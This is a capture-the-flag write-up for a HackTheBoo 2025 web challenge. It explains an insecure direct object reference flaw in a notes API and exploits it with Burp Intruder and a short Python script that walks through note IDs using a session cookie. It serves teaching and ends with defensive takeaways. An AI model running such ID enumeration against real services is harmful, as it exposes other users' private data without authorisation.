The Gate of Broken Names
Event: HackTheBoo 2025 by HackTheBox
Category: WEB
Difficulty: Easy
Challenge Descriptionβ
Among the ruins of Briarfold, Mira uncovers a gate of tangled brambles and forgotten sigils. Every name carved into its stone has been reversed, letters twisted, meanings erased. When she steps through, the ground blursβthe village ahead is hers, yet wrong: signs rewritten, faces familiar but altered, her own past twisted. Tracing the pattern through spectral threads of lies and illusion, she forces the true gate openβnot by key, but by unraveling the false paths the Hollow King left behind.
Solutionβ
Initial Analysisβ
-
Check the files provided, we want to check anything that is related to the flag
-
First I check the
init-data.jsand found a function to read the flag file
-
Next we check where it will be used in, in this case is inside this note generation function. We can see that there is flag and the randomized flag position.

-
If we go down a bit more, we can see a loop to generate the random note and if condition that checks the index. It will generate the note containing the flag when index is equal to flagPosition.

-
Now we know that we can retrieve the flag from the note but how do we get the note? Lets check the
note.jsfile. There lies the line that fetch note by id.
-
In the same screenshot, we can see the validation before we can fetch the note. It only checks for the request whether it have a
session.user_idbut there is no specific check to validate whether the user is authorized to fetch the note. Therefore as long as we can get a hold of asession.user_idthen we can fetch any note even if it is private.
-
Exploitation Stepsβ
-
We have our attack plan, now lets deploy the machine and visit the page with the ip and port provided.

-
Create a new account, information here doesn't matter but make sure to note the login credentials.

-
Sign in with the credentials

-
Now we are here, we can go to the all chronicles to check around

-
We can see the public notes here. We are going to click read more.

-
There it is, the
/idparameter. What will happen if i change the number to 1?
-
It works, so how about we try something private?


-
It also works fine, but now how do we find the flag? Well brute force and check if there is the flag value or the note title is critical


Method 1: Burpsuiteβ
-
The no code way is to use burpsuite, open the proxy browser, login, go to our note page which have the id parameter in url and intercept the request. Make sure to get the correct request as we have the page and the data fetch. If you fetch the page then it only load page without the note data.


-
I setup the intruder with our request and payload. (Previously I created a new note just to check the upper bound for my brute force)

-
Run it and you can check every response returned, you will find the flag eventually.

Method 2: Python Scriptβ
import requests
BASE_URL = "http://209.38.254.230:31953"
CUSTOM_COOKIE = "connect.sid=s%3A_VASD4smoeai1zIOl5t2N1yFIfqhmLMy.8t52G7XG1EZX56jmnQ0Ch6NfXw2hpAa0nyOrGPecPG0"
def fetch_note(note_id):
"""Fetch a specific note by ID"""
try:
r = requests.get(f"{BASE_URL}/api/notes/{note_id}", cookies={'connect.sid': CUSTOM_COOKIE.split('=')[1]})
return r.json() if r.status_code == 200 else None
except:
return None
def search_for_flag(start_id=1, end_id=10):
"""Search notes for flag keyword"""
print(f"\n[*] Searching notes {start_id} to {end_id}...")
print("=" * 80)
for note_id in range(start_id, end_id + 1):
note = fetch_note(note_id)
if note and not note.get('error'):
title = note.get('title', '')
content = note.get('content', '')
# Check for flag keyword
if 'critical system configuration' in title.lower():
print(f"\n[+] FLAG FOUND in Note ID {note_id}!")
print(f" Title: {title}")
print(f" Content: {content}")
else:
print(f"[.] Note {note_id}: '{title}'")
else:
print(f"[-] Note {note_id}: Not accessible")
def main():
# Search for flags
search_for_flag(start_id=1, end_id=212)
print("\n[*] Done!")
if __name__ == "__main__":
main()
Key Takeawaysβ
- Insecure Direct Object Reference (IDOR) vulnerability
- Missing authorization checks on private resources
- Session authentication without proper access control